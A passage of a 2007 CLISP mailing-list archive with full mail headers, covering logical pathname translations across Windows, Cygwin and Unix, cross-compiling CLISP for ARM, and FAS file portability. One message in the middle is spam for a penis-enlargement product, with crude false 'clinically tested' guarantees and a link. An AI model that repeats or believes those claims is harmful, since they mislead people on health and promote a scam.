#P"MYFILES:**;*" #P"/opt/myapp/**/*"))) And then: (open #P"MYFILES:QWE") will open the right file on unix too. Have a look at the clisp implementation notes: http://clisp.cons.org/impnotes/filename-dict.html and CLHS: http://www.lispworks.com/documentation/HyperSpec/Body/f_ld_log.htm -- __Pascal Bourguignon__ http://www.informatimago.com/ NOTE: The most fundamental particles in this product are held together by a "gluing" force about which little is currently known and whose adhesive power can therefore not be permanently guaranteed. From pjb@informatimago.com Sat May 26 01:09:02 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HrrKg-0001nE-Ee for clisp-list@lists.sourceforge.net; Sat, 26 May 2007 01:09:02 -0700 Received: from voyager.informatimago.com ([88.198.62.69]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HrrKd-0006j2-Gj for clisp-list@lists.sourceforge.net; Sat, 26 May 2007 01:09:02 -0700 Received: from thalassa.lan.informatimago.com (252.Red-88-0-101.dynamicIP.rima-tde.net [88.0.101.252]) by voyager.informatimago.com (Postfix) with ESMTP id 153E643C2BE; Sat, 26 May 2007 10:09:06 +0200 (CEST) Received: by thalassa.lan.informatimago.com (Postfix, from userid 1000) id DDC061782E9; Sat, 26 May 2007 08:08:39 +0000 (Local time zone must be set--see zic manual page) To: Vadim Konovalov Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwAQMAAABtzGvEAAAABlBMVEUAAAD///+l2Z/dAAAA oElEQVR4nK3OsRHCMAwF0O8YQufUNIQRGIAja9CxSA55AxZgFO4coMgYrEDDQZWPIlNAjwq9 033pbOBPtbXuB6PKNBn5gZkhGa86Z4x2wE67O+06WxGD/HCOGR0deY3f9Ijwwt7rNGNf6Oac l/GuZTF1wFGKiYYHKSFAkjIo1b6sCYS1sVmFhhhahKQssRjRT90ITWUk6vvK3RsPGs+M1RuR mV+hO/VvFAAAAABJRU5ErkJggg== X-Accept-Language: fr, es, en X-Disabled: X-No-Archive: no References: <46574226.8040401@gmail.com> <87abvshxx1.fsf@thalassa.lan.informatimago.com> From: Pascal Bourguignon Date: Sat, 26 May 2007 10:08:39 +0200 In-Reply-To: <87abvshxx1.fsf@thalassa.lan.informatimago.com> (Pascal Bourguignon's message of "Sat, 26 May 2007 09:00:26 +0200") Message-ID: <87r6p4gg6w.fsf@thalassa.lan.informatimago.com> User-Agent: Gnus/5.1008 (Gnus v5.10.8) Emacs/22.0.99 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] why d:/pathname differ on wind32 and cygwin? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 26 May 2007 08:09:03 -0000 Pascal Bourguignon writes: > Vadim Konovalov writes: > >> Hello, all! >> >> This is clisp/wind32: >> >> [1]> (open "d:/qwe") >> >> *** - OPEN: file #P"D:\\qwe" does not exist >> The following restarts are available: >> ABORT :R1 ABORT >> Break 1 [2]> >> >> >> This is clisp/cygwin: >> >> >> [1]> (open "d:/qwe") >> *** - nonexistent directory: #P"/" >> The following restarts are available: >> ABORT :R1 ABORT >> >> Is the different behaviour intentional? > > Yes. > >> Is it configurable? > > Yes. > [...] > Alternatively, you can write the translations in a file, and use: > > (LOAD-LOGICAL-PATHNAME-TRANSLATIONS "MYFILES") > (open #P"MYFILES:QWE") Let me give a complete example here. The logical pathname translation files are found in: CUSTOM:*LOAD-LOGICAL-PATHNAME-TRANSLATIONS-DATABASE* You can use the symbols in *features* to know on what platform you are. So for example, you could have three files in the user home directory (or some other directory, for example it could be the same directory where the application loader file is found, that is *LOAD-PATHNAME*). (push (make-pathname :name #+(and win32 cygwin) "CYGWIN" #+(and win32 (not cygwin)) "WIN32" #+(and (not win32) unix) "UNIX" :type "LPT" :version nil :case :common :defaults (user-homedir-pathname)) custom:*load-logical-pathname-translations-database*) ;; Note: when you have cygwin, you have both win32 and unix in *features*... ;; See http://clisp.cons.org/impnotes/system-dict.html Now, you can have three files: -------(~/win32.lpt)---------------------------------------------------- "MYAPP" (list (list "MYAPP:**;*.*" "D:\\MYAPP\\**\\*.*") (list "MYAPP:**;*" "D:\\MYAPP\\**\\*")) "UFILES" (list (list "UFILES:**;*.*" (merge-pathnames "MYAPP\\**\\*.*" (user-homedir-pathname) nil)) (list "UFILES:**;*" (merge-pathnames "MYAPP\\**\\*" (user-homedir-pathname) nil))) -------(~/cygwin.lpt)--------------------------------------------------- "MYAPP" (list (list "MYAPP:**;*.*" "/cygdrive/d/myapp/**/*.*") (list "MYAPP:**;*" "/cygdrive/d/myapp/**/*.*")) "UFILES" (list (list "UFILES:**;*.*" (merge-pathnames "./myapp/**/*.*" (user-homedir-pathname) nil)) (list "UFILES:**;*" (merge-pathnames "./myapp/**/*" (user-homedir-pathname) nil))) -------(~/unix.lpt)----------------------------------------------------- "MYAPP" (list (list "MYAPP:**;*.*" "/opt/myapp/**/*.*") (list "MYAPP:**;*" "/opt/myapp/**/*")) "UFILES" (list (list "UFILES:**;*.*" (merge-pathnames "./myapp/**/*.*" (user-homedir-pathname) nil)) (list "UFILES:**;*" (merge-pathnames "./myapp/**/*" (user-homedir-pathname) nil))) ------------------------------------------------------------------------ An alternative would be to have only one file, with #+... in it. Then you can: C/USER[25]> (progn (load-logical-pathname-translations "MYAPP") (load-logical-pathname-translations "UFILES")) ;; Loading logical hosts from file /home/pjb/unix.lpt ... ;; Defined logical host MYAPP ;; Defined logical host UFILES ;; Loaded file /home/pjb/unix.lpt T C/USER[26]> (translate-logical-pathname "UFILES:CONFIG.DAT") #P"/home/pjb/myapp/config.dat" C/USER[27]> (translate-logical-pathname "MYAPP:LOADER.LISP") #P"/opt/myapp/loader.lisp" C/USER[28]> -- __Pascal Bourguignon__ http://www.informatimago.com/ NOTE: The most fundamental particles in this product are held together by a "gluing" force about which little is currently known and whose adhesive power can therefore not be permanently guaranteed. From lisp-clisp-list@m.gmane.org Sun May 27 07:35:25 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HsJq9-00064z-2K for clisp-list@lists.sourceforge.net; Sun, 27 May 2007 07:35:25 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1HsJq7-0003aC-MH for clisp-list@lists.sourceforge.net; Sun, 27 May 2007 07:35:25 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1HsJpm-00083b-Oz for clisp-list@lists.sourceforge.net; Sun, 27 May 2007 16:35:02 +0200 Received: from ppp91-76-127-31.pppoe.mtu-net.ru ([91.76.127.31]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 27 May 2007 16:35:02 +0200 Received: from hrapof by ppp91-76-127-31.pppoe.mtu-net.ru with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 27 May 2007 16:35:02 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Dmitri Hrapof Date: Sun, 27 May 2007 14:13:19 +0000 (UTC) Lines: 10 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 91.76.127.31 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.3 (Ubuntu-feisty)) Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] cross-compilation X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 27 May 2007 14:35:25 -0000 Hello! Is it possible to cross-compile CLISP? Well, what I really want is the complete guide to CLISP cross-compilation :) Googled for it, but found little information. Are FAS-files processor-independent? If not, I guess it's not enough to just compile with, say, arm-gcc, it's necessary to tell CLISP to compile FASes also for ARM... Sincerely yours, Dmitri From sds@gnu.org Tue May 29 11:35:08 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ht6XD-0008LQ-OA for clisp-list@lists.sourceforge.net; Tue, 29 May 2007 11:35:07 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ht6XD-0001ed-9V for clisp-list@lists.sourceforge.net; Tue, 29 May 2007 11:35:07 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A25C01A4; Tue, 29 May 2007 14:35:08 -0400 Message-ID: <465C7251.4030408@gnu.org> Date: Tue, 29 May 2007 14:34:57 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Dmitri Hrapof References: In-Reply-To: X-Enigmail-Version: 0.95.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] cross-compilation X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 29 May 2007 18:35:08 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Dmitri Hrapof wrote: > Is it possible to cross-compile CLISP? what for? historically, it was once possible to compile CLISP with GCL (for extremely weak machines where interpreted CLISP consumed all RAM), but it has been removed years ago (see src/ChangeLog): 2002-09-25 Sam Steingold * compiler.lisp: removed the cross-compilation infrastructure, which was not used for over 10 years! > Are FAS-files processor-independent? yes. Sam. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFGXHJQPp1Qsf2qnMcRAowsAKCUx0+NlkAikp/hovhthPuJuJ0RnwCgoiRC lgW5SblYbGwun+5Uzbmfq8M= =S55s -----END PGP SIGNATURE----- From sds@gnu.org Tue May 29 12:04:16 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Ht6zP-0001wc-Vm for clisp-list@lists.sourceforge.net; Tue, 29 May 2007 12:04:16 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ht6zL-0002Eo-Fk for clisp-list@lists.sourceforge.net; Tue, 29 May 2007 12:04:15 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A9300280; Tue, 29 May 2007 15:04:16 -0400 Message-ID: <465C7924.9030008@gnu.org> Date: Tue, 29 May 2007 15:04:04 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Klaus Ebbe Grue References: In-Reply-To: X-Enigmail-Version: 0.95.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Arguments to executable memory dumps X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 29 May 2007 19:04:16 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 any chance your needs are satisfied by the :script option to EXT:SAVEINITMEM? http://clisp.cons.org/impnotes/image.html Sam. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFGXHkkPp1Qsf2qnMcRAnyIAKCfqAslOs9vxr3t+V8tb5jc9jqpjgCfUWD0 ENSUyJffkibpCtpZ7kj2n/Y= =o10o -----END PGP SIGNATURE----- From hrapof@common-lisp.ru Tue May 29 21:46:22 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HtG4k-0003W8-O0 for clisp-list@lists.sourceforge.net; Tue, 29 May 2007 21:46:22 -0700 Received: from cymraeg.ru ([200.46.204.194]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1HtG4i-0007hC-Bk for clisp-list@lists.sourceforge.net; Tue, 29 May 2007 21:46:22 -0700 Received: from localhost (unknown [200.46.204.187]) by cymraeg.ru (Postfix) with ESMTP id 80CF549BD59 for ; Wed, 30 May 2007 04:46:16 +0000 (UTC) Received: from cymraeg.ru ([200.46.204.194]) by localhost (mx1.hub.org [200.46.204.187]) (amavisd-maia, port 10024) with ESMTP id 62783-08 for ; Wed, 30 May 2007 01:46:15 -0300 (ADT) Received: from [192.168.1.33] (ppp91-76-124-162.pppoe.mtu-net.ru [91.76.124.162]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by cymraeg.ru (Postfix) with ESMTP id 40F9E49BBFF for ; Wed, 30 May 2007 04:46:14 +0000 (UTC) Message-ID: <465D0190.6010801@common-lisp.ru> Date: Wed, 30 May 2007 08:46:08 +0400 From: Dmitri Hrapof User-Agent: Thunderbird 1.5.0.10 (X11/20070403) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <465C7251.4030408@gnu.org> In-Reply-To: <465C7251.4030408@gnu.org> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] cross-compilation X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 30 May 2007 04:46:23 -0000 Sam Steingold пишет: >> Is it possible to cross-compile CLISP? >> > what for? In order to put it on a smartphone (OpenMoko). As I understand it, I have two options: either compile it right inside the phone (or inside the emulator), using native gcc; or cross-compile it (--build=i386, --host=arm). There is CLISP package for Zaurus, but it seems to me author had to compile it on the PDA, which is rather awkward IMHO. >> Are FAS-files processor-independent? >> > yes. O, eto uze cto-to! Spasibo za otvet, Dmitri From hrapof@common-lisp.ru Wed May 30 00:03:31 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HtIDT-0000I1-7m for clisp-list@lists.sourceforge.net; Wed, 30 May 2007 00:03:31 -0700 Received: from cymraeg.ru ([200.46.204.194]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1HtIDS-0002JF-HP for clisp-list@lists.sourceforge.net; Wed, 30 May 2007 00:03:31 -0700 Received: from localhost (unknown [200.46.204.187]) by cymraeg.ru (Postfix) with ESMTP id B601E49BD5C; Wed, 30 May 2007 07:03:27 +0000 (UTC) Received: from cymraeg.ru ([200.46.204.194]) by localhost (mx1.hub.org [200.46.204.187]) (amavisd-maia, port 10024) with ESMTP id 98312-01; Wed, 30 May 2007 04:03:25 -0300 (ADT) Received: from [192.168.1.33] (ppp91-76-124-162.pppoe.mtu-net.ru [91.76.124.162]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by cymraeg.ru (Postfix) with ESMTP id 5529A49BD53; Wed, 30 May 2007 07:03:26 +0000 (UTC) Message-ID: <465D21BB.9030305@common-lisp.ru> Date: Wed, 30 May 2007 11:03:23 +0400 From: Dmitri Hrapof User-Agent: Thunderbird 1.5.0.10 (X11/20070403) MIME-Version: 1.0 To: "Konovalov, Vadim Vladimirovich \(Vadim\)** CTR **" References: <465C7251.4030408@gnu.org> <465D0190.6010801@common-lisp.ru> In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] cross-compilation X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 30 May 2007 07:03:31 -0000 Konovalov, Vadim Vladimirovich (Vadim)** CTR ** пишет: >> emulator), using native gcc; or cross-compile it >> (--build=i386, --host=arm). >> > Did you mean --target=arm ? --host=i386 > Hm, IMHO '--target=x' means "produce compiler that makes executables for x", '--host=x' means "produce program that is able to run on x" and '--build=x' means "we are building on x". As FAS files are processor-independent and CLISP is practically a virtual machine, we need '--host', not '--target'. Am I wrong? >> O, eto uze cto-to! Spasibo za otvet, >> > Minu so~naraamat on va:ike, sinu so~naraamat on suur! > Ma oskan eesti keelt natukene, hakkame ra:a:gima! > Yn wir? Mae llawer o ieithoedd 'da chi, mae'n dda iawn! Voobse-to Sam znaet russkij :) S uvazeniem, Dmitri From sds@gnu.org Wed May 30 07:25:53 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HtP7Y-0004U7-BC for clisp-list@lists.sourceforge.net; Wed, 30 May 2007 07:25:52 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HtP7R-0007dt-Ps for clisp-list@lists.sourceforge.net; Wed, 30 May 2007 07:25:50 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A96403B8; Wed, 30 May 2007 10:25:40 -0400 Message-ID: <465D8958.5070209@gnu.org> Date: Wed, 30 May 2007 10:25:28 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Dmitri Hrapof References: <465C7251.4030408@gnu.org> <465D0190.6010801@common-lisp.ru> In-Reply-To: <465D0190.6010801@common-lisp.ru> X-Enigmail-Version: 0.95.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] cross-compilation X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 30 May 2007 14:25:53 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Dmitri Hrapof wrote: > O, eto uze cto-to! Spasibo za otvet, [this is at least something! thanks for answering,] daber anglit! Please write here in English. While the CLISP project was started in Germany (and there are still many German comments and variable names in the code), the official language of the project is English. Using other languages in the mailing lists and patches is actively discouraged because it reduces their usefulness to most of us. If you would like to write something in a "foreign" (== non-English :-)) language (you will often see French and German phrases around here), please provide an English translation so that non-polyglots will not feel excluded (no, a link to babelfish is not good enough :-)). Sam. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFGXYlYPp1Qsf2qnMcRAoQDAJ4ghR0WI+S6jIx5GpZunB/YatmEegCdF6w8 /EKhbAY+oJQu65OD24R+7cw= =v1hn -----END PGP SIGNATURE----- From sales@powermachineco.com Thu Jun 07 23:31:53 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HwY0e-0003Hj-Sl for clisp-list@lists.sourceforge.net; Thu, 07 Jun 2007 23:31:52 -0700 Received: from host-66-168-2-96.midco.net ([96.2.168.66] helo=chris-qiezzvalh.midco.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1HwY0d-0000EJ-S8 for clisp-list@lists.sourceforge.net; Thu, 07 Jun 2007 23:31:44 -0700 Message-ID: <6bb301c7a996$028b59dc$42a80260@chris-qiezzvalh.midco.net> From: "Sales" To: "Furtado Shawn" Date: Fri, 08 Jun 2007 06:31:42 +0000 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Spam-Score: -2.0 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.8 BODY_ENHANCEMENT2 BODY: Information on getting larger body parts Subject: [clisp-list] Are you really big man? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jun 2007 06:31:53 -0000 We are delighted to offer you a great deal! You have an extremely great chance to improve your sex life and make yourself twice sexier, because only our clinically tested medicine can guarantee that YOUR DICK will get TWICE as BIGGER as it used to be IN only 6 MONHTS! Check for details: http://www.powermachineco.com/ And you'll get your money back, if you are not satisfied. No bullshit! -- piumuouutjtnqjuluhtutostuiroshslsfnpslroshsprprursrisurorpotsusmrm From Joerg-Cyril.Hoehle@t-systems.com Fri Jun 08 04:50:56 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HwczY-0001T8-5P for clisp-list@lists.sourceforge.net; Fri, 08 Jun 2007 04:50:56 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HwczX-0005El-LA for clisp-list@lists.sourceforge.net; Fri, 08 Jun 2007 04:50:56 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.telekom.de with ESMTP; Fri, 8 Jun 2007 10:46:02 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by s4de8psaans.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Fri, 8 Jun 2007 10:46:00 +0200 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Fri, 8 Jun 2007 10:45:58 +0200 Message-Id: In-Reply-To: <465C7251.4030408@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] cross-compilation Thread-Index: AceiIBexyYhz/8NiSQiWwAhJ/WqWCwHhl2Tg From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 08 Jun 2007 08:46:00.0974 (UTC) FILETIME=[70C2F2E0:01C7A9A9] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: hrapof@common-lisp.ru Subject: Re: [clisp-list] cross-compilation X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jun 2007 11:50:56 -0000 Hi, Sam steingold answered: >> Are FAS-files processor-independent?=20 >yes. This is an important feature to some, and I'm glad to see that Sam still is commited to portability of .fas files. Commiting to portability on user's .fas files has consequences on how CLISP implements some code. My pet example is: (defmacro ext:with-keyboard (&body body) ; in keyboard.lisp `(sys::exec-with-keyboard (lambda () (progn .,body)))) I.e. the body is wrapped in a thunk. WITH-KEYBOARD may not expand itself to some unwind-protect, because the details of the implementation vary across the supported platforms. Note however, that the .fas files that serve to build CLISP's image are not portable. They contain platform- and build-specific code. You are not guaranteed to be able to take e.g. init.fas from MS-Windows and use that on Linux. That implies that in a portability context, you'll need to have your future Zaurus lisp.run compile in interpreted mode all .lisp files that serve to build CLISP's lispinit.mem. That will need more RAM than when you start CLISP with a compiled lispinit.mem, so an emulator with plenty of RAM is a good thing. Some files may work. E.g. macros3.fas presumably, because it looks no different from user code. It does not depend on internals. Same for loop.fas. We simply do not want to specify exactly what file is portable and which is not. Regards, Jorg Hohle From sds@gnu.org Fri Jun 08 06:33:13 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HweaW-0003qt-Ul for clisp-list@lists.sourceforge.net; Fri, 08 Jun 2007 06:33:13 -0700 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HweaW-0007PQ-Fz for clisp-list@lists.sourceforge.net; Fri, 08 Jun 2007 06:33:12 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id AA9B025C; Fri, 08 Jun 2007 09:33:15 -0400 Message-ID: <46695A8D.2050907@gnu.org> Date: Fri, 08 Jun 2007 09:33:01 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" References: <465C7251.4030408@gnu.org> In-Reply-To: X-Enigmail-Version: 0.95.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: hrapof@common-lisp.ru, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] cross-compilation X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jun 2007 13:33:13 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hoehle, Joerg-Cyril wrote: > Commiting to portability on user's .fas files has consequences on how > CLISP implements some code. My pet example is: > (defmacro ext:with-keyboard (&body body) ; in keyboard.lisp > `(sys::exec-with-keyboard (lambda () (progn .,body)))) > I.e. the body is wrapped in a thunk. > WITH-KEYBOARD may not expand itself to some unwind-protect, because the > details of the implementation vary across the supported platforms. > > Note however, that the .fas files that serve to build CLISP's image are > not portable. They contain platform- and build-specific code. You are > not guaranteed to be able to take e.g. init.fas from MS-Windows and use > that on Linux. indeed, but the FILE FORMAT is the same, i.e., if you compile init.lisp or keyboard.lisp on Linux like this: (let ((*features* (cons :win32 (remove :unix *features*)))) (compile-file "init.lisp") (compile-file "keyboard.lisp")) the resulting FAS files should be usable on woe32 (but useless on Linux) > That implies that in a portability context, you'll need to have your > future Zaurus lisp.run compile in interpreted mode all .lisp files that > serve to build CLISP's lispinit.mem. I don't think so. I think all you need to do is to ensure that your *features* is correct for Zaurus when you cross-compile on (say) Linux. Sam. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFGaVqNPp1Qsf2qnMcRAoJ7AJoDDm5gtoXFQuB8eVgT6jsj2Ws4rQCgjOr3 wsHQpa6/WvIRHgf3LdqQpAE= =CTXN -----END PGP SIGNATURE----- From 